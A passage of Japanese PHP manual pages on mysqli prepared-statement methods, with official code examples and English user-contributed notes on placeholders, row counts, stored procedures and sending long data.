    public $stmt, $nCols;
}

function iimysqli_stmt_get_result($stmt)
{
    /**    EXPLANATION:
     * We are creating a fake "result" structure to enable us to have
     * source-level equivalent syntax to a query executed via
     * mysqli_query().
     *
     *    $stmt = mysqli_prepare($conn, "");
     *    mysqli_bind_param($stmt, "types", ...);
     *
     *    $param1 = 0;
     *    $param2 = 'foo';
     *    $param3 = 'bar';
     *    mysqli_execute($stmt);
     *    $result _mysqli_stmt_get_result($stmt);
     *        [ $arr = _mysqli_result_fetch_array($result);
     *            || $assoc = _mysqli_result_fetch_assoc($result); ]
     *    mysqli_stmt_close($stmt);
     *    mysqli_close($conn);
     *
     * At the source level, there is no difference between this and mysqlnd.
     **/
    $metadata = mysqli_stmt_result_metadata($stmt);
    $ret = new iimysqli_result;
    if (!$ret) return NULL;

    $ret->nCols = mysqli_num_fields($metadata);
    $ret->stmt = $stmt;

    mysqli_free_result($metadata);
    return $ret;
}

function iimysqli_result_fetch_array(&$result)
{
    $ret = array();
    $code = "return mysqli_stmt_bind_result(\$result->stmt ";

    for ($i=0; $i<$result->nCols; $i++)
    {
        $ret[$i] = NULL;
        $code .= ", \$ret['" .$i ."']";
    };

    $code .= ");";
    if (!eval($code)) { return NULL; };

    // This should advance the "$stmt" cursor.
    if (!mysqli_stmt_fetch($result->stmt)) { return NULL; };

    // Return the array we built.
    return $ret;
}
?>

Hope this helps someone.
jari dot wiklund at gmail dot com 16-Sep-2011 01:03
Please note that this method requires the mysqlnd driver. Othervise you will get this error: Call to undefined method mysqli_stmt::get_result()


SHOW WARNINGS の結果を取得する

  • ≪ mysqli_stmt::get_result
  • mysqli_stmt::$insert_id ≫
  • PHP Manual
  • mysqli_stmt
  • SHOW WARNINGS の結果を取得する

mysqli_stmt::get_warnings

mysqli_stmt_get_warnings

(PHP 5 >= 5.1.0, PHP 7)

mysqli_stmt::get_warnings -- mysqli_stmt_get_warnings — SHOW WARNINGS の結果を取得する

説明

オブジェクト指向型

public mysqli_stmt::get_warnings ( ) : object

手続き型

mysqli_stmt_get_warnings ( mysqli_stmt $stmt ) : object
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


直近の INSERT 操作で生成した ID を取得する

  • ≪ mysqli_stmt::get_warnings
  • mysqli_stmt::more_results ≫
  • PHP Manual
  • mysqli_stmt
  • 直近の INSERT 操作で生成した ID を取得する

mysqli_stmt::$insert_id

mysqli_stmt_insert_id

(PHP 5, PHP 7)

mysqli_stmt::$insert_id -- mysqli_stmt_insert_id — 直近の INSERT 操作で生成した ID を取得する

説明

オブジェクト指向型

int $mysqli_stmt->insert_id;

手続き型

mysqli_stmt_insert_id ( mysqli_stmt $stmt ) : mixed
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

Aurelien Marchand 07-Apr-2015 03:59
for those with zerofilled IDs beware as mysqli_stmt::$insert_id will return an integer. In other words, if the ID returned from your query was #000099, the value produced by mysqli_stmt::$insert_id is now #99.

I have not found a way to fix this beside using sprintf('%06d',$id) but this assumes you know in advance the size of the ID beforehand.
hgernhardt at tcnewengland dot org 07-Feb-2011 07:33
It should be noted that using mysqli_stmt->insert_id will not result in a unique ID being returned for each execution of a prepared insert statement.  In practice, it appears that the first insertion ID is returned.  If you are performing multiple inserts with the same prepared statement (one invocation of mysqli_stmt::prepare and multiple invocations of mysqli_stmt::execute() for a given statement), and need to keep the unique ID for each insert, use mysqli_connection->insert_id.


複数クエリで、次の結果が存在するかどうかを調べる

  • ≪ mysqli_stmt::$insert_id
  • mysqli_stmt::next_result ≫
  • PHP Manual
  • mysqli_stmt
  • 複数クエリで、次の結果が存在するかどうかを調べる

mysqli_stmt::more_results

mysqli_stmt_more_results

(PHP 5 >= 5.3.0, PHP 7)

mysqli_stmt::more_results -- mysqli_stmt_more_results — 複数クエリで、次の結果が存在するかどうかを調べる

説明

オブジェクト指向型

public mysqli_stmt::more_results ( ) : bool

手続き型:

mysqli_stmt_more_results ( mysql_stmt $stmt ) : bool

複数クエリで、次の結果が存在するかどうかを調べます。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

返り値

結果がさらに存在する場合に true、それ以外の場合に false を返します。

MySQL ネイティブドライバ限定

mysqlnd でのみ使用可能です。

参考

  • mysqli_stmt::next_result() - 複数クエリから、次の結果を読み込む
  • mysqli::multi_query() - データベース上でクエリを実行する

User Contributed Notes

There are no user contributed notes for this page.


複数クエリから、次の結果を読み込む

  • ≪ mysqli_stmt::more_results
  • mysqli_stmt::$num_rows ≫
  • PHP Manual
  • mysqli_stmt
  • 複数クエリから、次の結果を読み込む

mysqli_stmt::next_result

mysqli_stmt_next_result

(PHP 5 >= 5.3.0, PHP 7)

mysqli_stmt::next_result -- mysqli_stmt_next_result — 複数クエリから、次の結果を読み込む

説明

オブジェクト指向型

public mysqli_stmt::next_result ( ) : bool

手続き型:

mysqli_stmt_next_result ( mysql_stmt $stmt ) : bool

複数クエリから、次の結果を読み込みます。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

結果セットが存在しない場合は E_STRICT レベルのエラーが発生します。 そんな場合に備えて、まず mysqli_stmt::more_results() をコールしてから mysqli_stmt::next_result() をコールするようにしましょう。

MySQL ネイティブドライバ限定

mysqlnd でのみ使用可能です。

参考

  • mysqli_stmt::more_results() - 複数クエリで、次の結果が存在するかどうかを調べる
  • mysqli::multi_query() - データベース上でクエリを実行する

User Contributed Notes

There are no user contributed notes for this page.


ステートメントの結果セットの行数を返す

  • ≪ mysqli_stmt::next_result
  • mysqli_stmt::$param_count ≫
  • PHP Manual
  • mysqli_stmt
  • ステートメントの結果セットの行数を返す

mysqli_stmt::$num_rows

mysqli_stmt::num_rows

mysqli_stmt_num_rows

(PHP 5, PHP 7)

mysqli_stmt::$num_rows -- mysqli_stmt::num_rows -- mysqli_stmt_num_rows — ステートメントの結果セットの行数を返す

説明

オブジェクト指向型

int $mysqli_stmt->num_rows;
public mysqli_stmt::num_rows ( ) : int

手続き型

mysqli_stmt_num_rows ( mysqli_stmt $stmt ) : int

結果セットの行の数を返します。mysqli_stmt_num_rows() が使用できるかどうかは、mysqli_stmt_store_result() を用いて結果をステートメントハンドルにバッファリングしているかどうかに 依存します。

mysqli_stmt_store_result() を使用した場合は、 すぐに mysqli_stmt_num_rows() をコールできます。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

返り値

結果セットの行数を表す整数値を返します。

例

例1 オブジェクト指向型

<?php
/* 接続をオープンします */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
if ($stmt = $mysqli->prepare($query)) {

    /* クエリを実行します */
    $stmt->execute();

    /* 結果を格納します */
    $stmt->store_result();

    printf("Number of rows: %d.\n", $stmt->num_rows);

    /* ステートメントを閉じます */
    $stmt->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
/* 接続をオープンします */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
if ($stmt = mysqli_prepare($link, $query)) {

    /* クエリを実行します */
    mysqli_stmt_execute($stmt);

    /* 結果を格納します */
    mysqli_stmt_store_result($stmt);

    printf("Number of rows: %d.\n", mysqli_stmt_num_rows($stmt));

    /* ステートメントを閉じます */
    mysqli_stmt_close($stmt);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Number of rows: 20.

参考

  • mysqli_stmt_affected_rows() - 直近に実行されたステートメントで変更・削除・あるいは追加された行の総数を返す
  • mysqli_prepare() - 実行するための SQL文 を準備する
  • mysqli_stmt_store_result() - プリペアドステートメントから結果を転送する

User Contributed Notes

Typer85 at gmail dot com 27-Dec-2006 04:12
Please be advised, for people who sometimes miss to read this important Manual entry for this function:

If you do not use mysqli_stmt_store_result( ), and immediatley call this function after executing a prepared statement, this function will usually return 0 as it has no way to know how many rows are in the result set as the result set is not saved in memory yet.

mysqli_stmt_store_result( ) saves the result set in memory thus you can immedietly use this function after you both execute the statement AND save the result set.

If you do not save the result set but still want to use this function you have to actually loop through the result set one row at a time using mysqli_stmt_fetch( ) before using this function to determine the number of rows.

A thought though, if you want to determine the number of rows without storing the result set and after looping through it, why not just simply keep an internal counter in your loop every time a row is fetched and save the function call.

In short, this function is only really useful if you save the result set and want to determine the number of rows before looping through it, otherwise you can pretty much recreate its use like I suggested.


指定したステートメントのパラメータ数を返す

  • ≪ mysqli_stmt::$num_rows
  • mysqli_stmt::prepare ≫
  • PHP Manual
  • mysqli_stmt
  • 指定したステートメントのパラメータ数を返す

mysqli_stmt::$param_count

mysqli_stmt_param_count

(PHP 5, PHP 7)

mysqli_stmt::$param_count -- mysqli_stmt_param_count — 指定したステートメントのパラメータ数を返す

説明

オブジェクト指向型

int $mysqli_stmt->param_count;

手続き型

mysqli_stmt_param_count ( mysqli_stmt $stmt ) : int

プリペアドステートメント内のパラメータマーカの数を返します。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

返り値

パラメータの数を整数で返します。

例

例1 オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($stmt = $mysqli->prepare("SELECT Name FROM Country WHERE Name=? OR Code=?")) {

    $marker = $stmt->param_count;
    printf("Statement has %d markers.\n", $marker);

    /* ステートメントを閉じます */
    $stmt->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($stmt = mysqli_prepare($link, "SELECT Name FROM Country WHERE Name=? OR Code=?")) {

    $marker = mysqli_stmt_param_count($stmt);
    printf("Statement has %d markers.\n", $marker);

    /* ステートメントを閉じます */
    mysqli_stmt_close($stmt);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Statement has 2 markers.

参考

  • mysqli_prepare() - 実行するための SQL文 を準備する

User Contributed Notes

Senthryl 10-Mar-2009 11:47
This parameter (and presumably any other parameter in mysqli_stmt) will raise an error with the message "Property access is not allowed yet" if the statement was not prepared properly, or not prepared at all.

To prevent this, always ensure that the return value of the "prepare" statement is true before accessing these properties.


SQL ステートメントを実行するために準備する

  • ≪ mysqli_stmt::$param_count
  • mysqli_stmt::reset ≫
  • PHP Manual
  • mysqli_stmt
  • SQL ステートメントを実行するために準備する

mysqli_stmt::prepare

mysqli_stmt_prepare

(PHP 5, PHP 7)

mysqli_stmt::prepare -- mysqli_stmt_prepare — SQL ステートメントを実行するために準備する

説明

オブジェクト指向型

public mysqli_stmt::prepare ( string $query ) : bool

手続き型

mysqli_stmt_prepare ( mysqli_stmt $stmt , string $query ) : bool

実行する前にSQL文を準備します。 指定するクエリは、単一のSQL文でなければいけません。

SQL文のテンプレートには、ゼロ個以上のパラメータマーカ (?) を含めることができます。 パラメータマーカは、プレースホルダとも呼ばれています。 パラメータマーカは、ステートメントを実行する前に mysqli_stmt_bind_param() を使用して アプリケーション変数にバインドする必要があります。

注意:

サーバーの max_allowed_packet よりも長いステートメントを mysqli_stmt_prepare() に渡した場合、 返ってくるエラーコードは MySQL Native Driver (mysqlnd) を使っているか MySQL Client Library (libmysqlclient) を使っているかで異なります。 それぞれ、次のように振る舞います。

  • Linux 上の mysqlnd では、エラーコード 1153 を返します。 エラーメッセージは got a packet bigger than max_allowed_packet bytes です。

  • Windows 上の mysqlnd では、エラーコード 2006 を返します。 エラーメッセージは server has gone away です。

  • すべてのプラットフォームの libmysqlclient では、エラーコード 2006 を返します。エラーメッセージは server has gone away です。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

query

クエリを表す文字列。単一の SQL 文で構成されている必要があります。

SQL文には、適切な位置にゼロ個以上のパラメータマーカを含めることができます。 パラメータマーカは、クエスチョンマーク(?)で表します。

注意:

パラメータのマーカは、それが SQL 文の適切な位置にある場合のみ 有効です。例えば INSERT 文の VALUES() リストの中 (行に登録するカラム値を指定する) や WHERE 句で列のデータと比較する値などが適切な位置の例です。

しかし、識別子 (テーブルやカラムの名前) や SELECT 文で選択する 項目の名前に指定したり、(等号 = のような) 二項演算子の両側にパラメータを指定したりすることはできません。 後者の制限は、パラメータの型が判断できなくなることによるものです。 一般に、パラメータが使用可能なのはデータ操作言語 (DML) ステートメントであり、データ定義言語 (DDL) ステートメントでは 使用できません。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 mysqli_stmt::prepare() の例

オブジェクト指向型

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$city = "Amersfoort";

/* プリペアドステートメントを作成します */
$stmt = $mysqli->stmt_init();
$stmt->prepare("SELECT District FROM City WHERE Name=?");

/* マーカにパラメータをバインドします */
$stmt->bind_param("s", $city);

/* クエリを実行します */
$stmt->execute();

/* 結果変数をバインドします */
$stmt->bind_result($district);

/* 値を取得します */
$stmt->fetch();

printf("%s is in district %s\n", $city, $district);

手続き型

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$city = "Amersfoort";

/* プリペアドステートメントを作成します */
$stmt = mysqli_stmt_init($link);
mysqli_stmt_prepare($stmt, "SELECT District FROM City WHERE Name=?");

/* マーカにパラメータをバインドします */
mysqli_stmt_bind_param($stmt, "s", $city);

/* クエリを実行します */
mysqli_stmt_execute($stmt);

/* 結果変数をバインドします */
mysqli_stmt_bind_result($stmt, $district);

/* 値を取得します */
mysqli_stmt_fetch($stmt);

printf("%s is in district %s\n", $city, $district);

上の例の出力は以下となります。

Amersfoort is in district Utrecht

参考

  • mysqli_stmt_init() - ステートメントを初期化し、mysqli_stmt_prepare で使用するオブジェクトを返す
  • mysqli_stmt_execute() - プリペアドステートメントを実行する
  • mysqli_stmt_fetch() - プリペアドステートメントから結果を取得し、バインド変数に格納する
  • mysqli_stmt_bind_param() - プリペアドステートメントのパラメータに変数をバインドする
  • mysqli_stmt_bind_result() - 結果を保存するため、プリペアドステートメントに変数をバインドする
  • mysqli_stmt_get_result() - プリペアード・ステートメントから結果セットを取得
  • mysqli_stmt_close() - プリペアドステートメントを閉じる

User Contributed Notes

philip at independentliving dot se 22-Mar-2016 04:19
To see sql errors from your prepare:

$stmt = mysqli_stmt_init($link);

mysqli_stmt_prepare ( $stmt ,"INSERT INTO foo
            (id, textval,whatever) values (?,?,?) or  die( print_r(mysqli_stmt_error($stmt)));
logos-php at kith dot orgpp 23-Mar-2012 05:34
Turns out you can't directly use a prepared statement for a query that has a placeholder in an IN() clause.

There are ways around that (such as constructing a string that consists of n question marks separated by commas, then using that set of placeholders in the IN() clause), but you can't just say IN (?).

This is a MySQL restriction rather than a PHP restriction, but it's not really documented in the MySQL docs either, so I figured it was worth mentioning here.

(Btw, turns out someone else had previously posted the info that I put in my previous comment, about not using quotation marks. Sorry for the repeat; not sure how I missed the earlier comment.)
logos-php at kith dot org 23-Mar-2012 07:06
Note that if you're using a question mark as a placeholder for a string value, you don't surround it with quotation marks in the MySQL query.

For example, do this:

mysqli_stmt_prepare($stmt, "SELECT * FROM foo WHERE foo.Date > ?");

Do not do this:

mysqli_stmt_prepare($stmt, "SELECT * FROM foo WHERE foo.Date > '?'");

If you put quotation marks around a question mark in the query, then PHP doesn't recognize the question mark as a placeholder, and then when you try to use mysqli_stmt_bind_param(), it gives an error to the effect that you have the wrong number of parameters.

The lack of quotation marks around a string placeholder is implicit in the official example on this page, but it's not explicitly stated in the docs, and I had trouble figuring it out, so figured it was worth posting.
ndungi at gmail dot com 22-Apr-2009 02:25
The `prepare` , `bind_param`, `bind_result`, `fetch` result, `close` stmt cycle can be tedious at times. Here is an object that does all the mysqli mumbo jumbo for you when all you want is a select leaving you to the bare essential `preparedSelect` on a prepared stmt. The method returns the result set as a 2D associative array with the `select`ed columns as keys. I havent done sufficient error-checking and it also may have some bugs. Help debug and improve on it.

I used the bible.sql db from http://www.biblesql.net/sites/biblesql.net/files/bible.mysql.gz.

Baraka tele!

============================

<?php

class DB
{
    public $connection;

    #establish db connection
    public function __construct($host="localhost", $user="user", $pass="", $db="bible")
    {
        $this->connection = new mysqli($host, $user, $pass, $db);

        if(mysqli_connect_errno())
        {
            echo("Database connect Error : "
            . mysqli_connect_error($mysqli));
        }
    }

    #store mysqli object
    public function connect()
    {
        return $this->connection;
    }

    #run a prepared query
    public function runPreparedQuery($query, $params_r)
    {
        $stmt = $this->connection->prepare($query);
        $this->bindParameters($stmt, $params_r);

        if ($stmt->execute()) {
            return $stmt;
        } else {
            echo("Error in $statement: "
                      . mysqli_error($this->connection));
            return 0;
        }

    }

 # To run a select statement with bound parameters and bound results.
 # Returns an associative array two dimensional array which u can easily
 # manipulate with array functions.

    public function preparedSelect($query, $bind_params_r)
    {
        $select = $this->runPreparedQuery($query, $bind_params_r);
        $fields_r = $this->fetchFields($select);

        foreach ($fields_r as $field) {
            $bind_result_r[] = &${$field};
        }

        $this->bindResult($select, $bind_result_r);

        $result_r = array();
        $i = 0;
        while ($select->fetch()) {
            foreach ($fields_r as $field) {
                $result_r[$i][$field] = $$field;
            }
            $i++;
        }
        $select->close();
        return $result_r;
    }

    #takes in array of bind parameters and binds them to result of
    #executed prepared stmt

    private function bindParameters(&$obj, &$bind_params_r)
    {
        call_user_func_array(array($obj, "bind_param"), $bind_params_r);
    }

    private function bindResult(&$obj, &$bind_result_r)
    {
        call_user_func_array(array($obj, "bind_result"), $bind_result_r);
    }

    #returns a list of the selected field names

    private function fetchFields($selectStmt)
    {
        $metadata = $selectStmt->result_metadata();
        $fields_r = array();
        while ($field = $metadata->fetch_field()) {
            $fields_r[] = $field->name;
        }

        return $fields_r;
    }
}
#end of class

#An example of the DB class in use

$DB = new DB("localhost", "root", "", "bible");
$var = 5;
$query = "SELECT abbr, name from books where id > ?" ;
$bound_params_r = array("i", $var);

$result_r = $DB->preparedSelect($query, $bound_params_r);

#loop thru result array and display result

foreach ($result_r as $result) {
    echo $result['abbr'] . " : " . $result['name'] . "<br/>" ;
}

?>
kontakt at arthur minus schiwon dot de 16-Jun-2008 07:22
If you wrap the placeholders with quotation marks you will experience warnings like "Number of variables doesn't match number of parameters in prepared statement" (at least with INSERT Statements).
mhradek AT gmail.com 15-May-2008 04:06
A particularly helpful adaptation of this function and the call_user_func_array function:

// $params is sent as array($val=>'i', $val=>'d', etc...)

function db_stmt_bind_params($stmt, $params)
{
    $funcArg[] = $stmt;
    foreach($params as $val=>$type)
    {
        $funcArg['type'] .= $type;
        $funcArg[] = $val;
    }
    return call_user_func_array('mysqli_stmt_bind_param', $funcArgs);
}

Thanks to 'sned' for the code.
lukaszNOSPAMPLEASE at epas dot pl 15-Jan-2008 07:15
i've got some bad news for you guys if you haven't found out already.
the trick with mysqli_next_result() only prevents having the connection dropped after a stored procedure call.
apparently you can bind parameters for a prepared stored procedure call, but you'll get messed up records from mysqli_stmt_fetch() after mysqli_stmt_bind_result(), at least when the stored procedure itself contains a prepared statement.
a way to avoid data corruption could be specifying the CLIENT_MULTI_STATEMENTS flag in mysqli_real_connect(), if it wasn't disabled entirely (for security reasons, as they say). another option is to use mysqli_multi_query(), but then you can't bind at all.
st dot john dot johnson at gmail dot com 04-Jun-2007 08:59
In reference to what lachlan76 said before, stored procedures CAN be executed through prepared statements as long as you tell the DB to move to the next result before executing again.

Example (Five calls to a stored procedure):

<?php
for ($i=0;$i<5;$i++) {
  $statement = $mysqli->stmt_init();
  $statement->prepare("CALL some_procedure( ? )");

  // Bind, execute, and bind.
  $statement->bind_param("i", 1);
  $statement->execute();
  $statement->bind_result($results);

  while($statement->fetch()) {
    // Do what you want with your results.
  }

  $statement->close();

  // Now move the mysqli connection to a new result.
  while($mysqli->next_result()) { }
}
?>

If you include the last statement, this code should execute without the nasty "Commands out of sync" error.
lachlan76 at gmail dot com 28-Nov-2006 08:59
Do not try to use a stored procedure through a prepared statement.

Example:

<?php
$statement = $mysqli->stmt_init();
$statement->prepare("CALL some_procedure()");
?>

If you attempt to do this, it will fail by dropping the connection during the next query.  Use mysqli_multi_query instead.

Example:

<?php
$mysqli->multi_query("CALL some_procedure()");
do
{
  $result = $mysqli->store_result();

   // Do your processing work here

  $result->free();
} while($mysqli->next_result());
?>

This means that you cannot bind parameters or results, however.
andrey at php dot net 07-Oct-2005 05:35
If you select LOBs use the following order of execution or you risk mysqli allocating more memory that actually used

1)prepare()
2)execute()
3)store_result()
4)bind_result()

If you skip 3) or exchange 3) and 4) then mysqli will allocate memory for the maximal length of the column which is 255 for tinyblob, 64k for blob(still ok), 16MByte for MEDIUMBLOB - quite a lot and 4G for LONGBLOB (good if you have so much memory). Queries which use this order a bit slower when there is a LOB but this is the price of not having memory exhaustion in seconds.


プリペアドステートメントをリセットする

  • ≪ mysqli_stmt::prepare
  • mysqli_stmt::result_metadata ≫
  • PHP Manual
  • mysqli_stmt
  • プリペアドステートメントをリセットする

mysqli_stmt::reset

mysqli_stmt_reset

(PHP 5, PHP 7)

mysqli_stmt::reset -- mysqli_stmt_reset — プリペアドステートメントをリセットする

説明

オブジェクト指向型

public mysqli_stmt::reset ( ) : bool

手続き型

mysqli_stmt_reset ( mysqli_stmt $stmt ) : bool

クライアントおよびサーバーで、実行後のプリペアドステートメントをリセットします。

サーバー上のステートメント、mysqli_stmt_send_long_data() で送信したデータ、バッファリングされていない結果、そして現在のエラーをリセットします。 バインド内容や保存された結果セットはクリアされません。保存された結果がクリアされるのは、 プリペアドステートメントを実行した (あるいは閉じた) ときです。

別のクエリを元にプリペアドステートメントを用意する場合は、 mysqli_stmt_prepare() 関数を使用します。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • mysqli_prepare() - 実行するための SQL文 を準備する

User Contributed Notes

There are no user contributed notes for this page.


プリペアドステートメントから結果セットのメタデータを返す

  • ≪ mysqli_stmt::reset
  • mysqli_stmt::send_long_data ≫
  • PHP Manual
  • mysqli_stmt
  • プリペアドステートメントから結果セットのメタデータを返す

mysqli_stmt::result_metadata

mysqli_stmt_result_metadata

(PHP 5, PHP 7)

mysqli_stmt::result_metadata -- mysqli_stmt_result_metadata — プリペアドステートメントから結果セットのメタデータを返す

説明

オブジェクト指向型

public mysqli_stmt::result_metadata ( ) : mysqli_result

手続き型

mysqli_stmt_result_metadata ( mysqli_stmt $stmt ) : mysqli_result

mysqli_prepare() に渡したステートメントが 結果セットを返すものであった場合、mysqli_stmt_result_metadata() はオブジェクトを返します。このオブジェクトは、結果のフィールド数や 各フィールドの情報などのメタ情報を取得するために使用可能です。

注意:

メタデータを取得するには、この結果セットポインタを、以下のいずれかの (フィールドベースの) 関数に渡します。

  • mysqli_num_fields()

  • mysqli_fetch_field()

  • mysqli_fetch_field_direct()

  • mysqli_fetch_fields()

  • mysqli_field_count()

  • mysqli_field_seek()

  • mysqli_field_tell()

  • mysqli_free_result()

結果セットは、使用終了後に開放すべきです。そのためには、結果セットを mysqli_free_result() に渡します。

注意:

mysqli_stmt_result_metadata() が返す結果セットには メタデータのみが含まれています。実際の行データは含まれません。行データを 取得するには、ステートメントハンドルを mysqli_stmt_fetch() に渡してください。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

返り値

結果のオブジェクトを返します。エラー時には false を返します。

例

例1 オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

$mysqli->query("DROP TABLE IF EXISTS friends");
$mysqli->query("CREATE TABLE friends (id int, name varchar(20))");

$mysqli->query("INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

$stmt = $mysqli->prepare("SELECT id, name FROM friends");
$stmt->execute();

/* メタデータの結果セットを取得します */
$result = $stmt->result_metadata();

/* メタデータ結果セットからフィールド情報を取得します */
$field = $result->fetch_field();

printf("Fieldname: %s\n", $field->name);

/* 結果セットを閉じます */
$result->close();

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

mysqli_query($link, "DROP TABLE IF EXISTS friends");
mysqli_query($link, "CREATE TABLE friends (id int, name varchar(20))");

mysqli_query($link, "INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

$stmt = mysqli_prepare($link, "SELECT id, name FROM friends");
mysqli_stmt_execute($stmt);

/* メタデータの結果セットを取得します */
$result = mysqli_stmt_result_metadata($stmt);

/* メタデータ結果セットからフィールド情報を取得します */
$field = mysqli_fetch_field($result);

printf("Fieldname: %s\n", $field->name);

/* 結果セットを閉じます */
mysqli_free_result($result);

/* 接続を閉じます */
mysqli_close($link);
?>

参考

  • mysqli_prepare() - 実行するための SQL文 を準備する
  • mysqli_free_result() - 結果に関連付けられたメモリを開放する

User Contributed Notes

potherca at gmail dot com 15-Apr-2010 12:52
If result_metadata() returns false but error/errno/sqlstate tells you no error occurred, this means your query is one that does not produce a result set, i.e. an INSERT/UPDATE/DELETE query instead of a SELECT query.

This is stated in the documentation where it says "If a statement passed to mysqli_prepare() is one that produces a result set, mysqli_stmt_result_metadata() returns the result object", but it might not be clear to everyone what this entails exactly.

Hope this helps.


データをブロックで送信する

  • ≪ mysqli_stmt::result_metadata
  • mysqli_stmt::$sqlstate ≫
  • PHP Manual
  • mysqli_stmt
  • データをブロックで送信する

mysqli_stmt::send_long_data

mysqli_stmt_send_long_data

(PHP 5, PHP 7)

mysqli_stmt::send_long_data -- mysqli_stmt_send_long_data — データをブロックで送信する

説明

オブジェクト指向型

public mysqli_stmt::send_long_data ( int $param_nr , string $data ) : bool

手続き型

mysqli_stmt_send_long_data ( mysqli_stmt $stmt , int $param_nr , string $data ) : bool

パラメータのデータを、サーバーに分割して送信します。例えば blob のサイズが max_allowed_packet を越えてしまう場合などに使用します。 この関数は、カラムに文字やバイナリのデータを送信するために複数回 コールすることが可能です。そのカラムの型は TEXT あるいは BLOB である 必要があります。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

param_nr

データに関連付けるパラメータを示します。 パラメータの番号は 0 から始まります。

data

送信するデータを含む文字列。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 オブジェクト指向型

<?php
$stmt = $mysqli->prepare("INSERT INTO messages (message) VALUES (?)");
$null = NULL;
$stmt->bind_param("b", $null);
$fp = fopen("messages.txt", "r");
while (!feof($fp)) {
    $stmt->send_long_data(0, fread($fp, 8192));
}
fclose($fp);
$stmt->execute();
?>

参考

  • mysqli_prepare() - 実行するための SQL文 を準備する
  • mysqli_stmt_bind_param() - プリペアドステートメントのパラメータに変数をバインドする

User Contributed Notes

DimeCadmium 21-Feb-2021 12:50
To ChrisH's note, you must call this function multiple times with the same $param_nr, to send the first max_allowed_packet bytes, then the next, and so on. So you might need to do a for loop over changing substr() indexes, or etc.
ChrisH 28-Nov-2019 12:40
If you are trying to write a single field which is above max_allowed_packet then this function will not help you (contrary to what the documentation example seems to show above).

Parameters in MySQL are still restricted by max_allowed_packet on a per-field basis so you will get an error like:

"mysqli_sql_exception: Parameter of prepared statement which is set through mysql_send_long_data() is longer than 'max_long_data_size' bytes"

The only real use case for this function seems to be if you are writing multiple long fields which when combined would go over max_allowed_packet.
Gustavo Narea 16-May-2006 07:00
Just in case:

'max_allowed_packet' is a MySQL variable; it is not a PHP function/variable/constant.

Further info: http://dev.mysql.com/doc/refman/4.1/en/packet-too-large.html

HTH.
lussnig at smcc dot de 26-Oct-2005 07:31
send_long_data() these function is normaly used to store Data in Binary blob field. But if the table is UTF8 and connection charset it does not expect binary data (for example images) it take utf8 Data.
This mean you have to do utf8_encode bevore sending binary data.


直前のステートメントの操作での SQLSTATE エラーを返す

  • ≪ mysqli_stmt::send_long_data
  • mysqli_stmt::store_result ≫
  • PHP Manual
  • mysqli_stmt
  • 直前のステートメントの操作での SQLSTATE エラーを返す

mysqli_stmt::$sqlstate

mysqli_stmt_sqlstate

(PHP 5, PHP 7)

mysqli_stmt::$sqlstate -- mysqli_stmt_sqlstate — 直前のステートメントの操作での SQLSTATE エラーを返す

説明

オブジェクト指向型

string $mysqli_stmt->sqlstate;

手続き型

mysqli_stmt_sqlstate ( mysqli_stmt $stmt ) : string

直近に実行されたプリペアドステートメントのエラーについて、 SQLSTATE エラーコードを含む文字列を返します。 エラーコードは 5 つの文字で構成されています。'00000' はエラーが発生しなかったことを意味します。この値は、ANSI SQL および ODBC で定義されています。とりうる値の一覧は » http://dev.mysql.com/doc/mysql/en/error-handling.html を参照ください。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

返り値

直前のエラーに関する SQLSTATE エラーコードを含む文字列を返します。 エラーコードは 5 文字で構成され、'00000' はエラーが発生しなかったことを意味します。

注意

注意:

すべての MySQL エラーが SQLSTATE に対応しているわけではないことに 注意してください。そのようなエラーが発生した場合は、 HY000（一般的なエラー）が返されます。

例

例1 オブジェクト指向型

<?php
/* 接続をオープンします */
